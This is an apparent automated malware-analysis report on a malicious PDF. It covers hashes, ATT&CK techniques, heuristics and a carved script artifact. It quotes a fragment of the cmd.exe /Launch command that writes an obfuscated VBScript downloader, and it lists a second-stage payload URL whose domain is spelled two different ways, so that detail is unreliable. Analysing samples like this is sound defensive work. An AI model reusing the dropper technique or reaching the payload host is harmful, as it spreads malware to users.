PDF malware analysis — malicious · 4a93637f391adfea

MALICIOUS

PDF

801 B

MD5: c0efad01fd10b2b8a6e0ca882e18dbf9 SHA-1: 4c65e4aa8bad374db64da0d7343d4f78d676fd6b SHA-256: 4a93637f391adfeaf3552b25e0a4259b47bcbefee6250296955f55bdfffe9b59

120 Risk Score

Malware Insights

MITRE ATT&CK

T1204.002 Malicious File T1059.003 Windows Command Shell T1059.005 Visual Basic

The PDF contains a launch action that executes cmd.exe, which in turn echoes a VBScript payload to a file named m.vbs. This script is designed to download and execute a second-stage payload from the embedded URL http://nocirepor.com/nepm/tmp/m.vbs. The script uses string concatenation to obfuscate the creation of a FileSystemObject and WScript.Shell object.

Heuristics 4

Launch action high PDF_LAUNCH

PDF contains a /Launch action with an unresolved or extension-less target — treat as potentially dangerous
Embedded script payload in PDF stream high PDF_EMBEDDED_SCRIPT_PAYLOAD

PDF stream bytes contain script execution markers such as ActiveXObject/CreateObject, WScript.Shell, PowerShell, or shell-exec primitives. This is stronger than ordinary PDF JavaScript because it indicates a staged external script payload hidden in stream bytes.
/Launch action target: cmd high PDF_LAUNCH_COMMAND

PDF /Launch action specifies an executable target with parameters '/c echo B="m.vbs":With CreateObject(StrReverse("PTTHLMX.2LMXSM"'.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://nocireho.com/nepm/tmp/m.vbs

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`embedded_pdf_script_0000006f.bin` `ad55c8e83a5896a04b2012c676820daeab2b84cc539e444c6366e79f55a571c5`	pdf-embedded-script	PDF decompressed stream script payload at offset 0x6F	63 bytes

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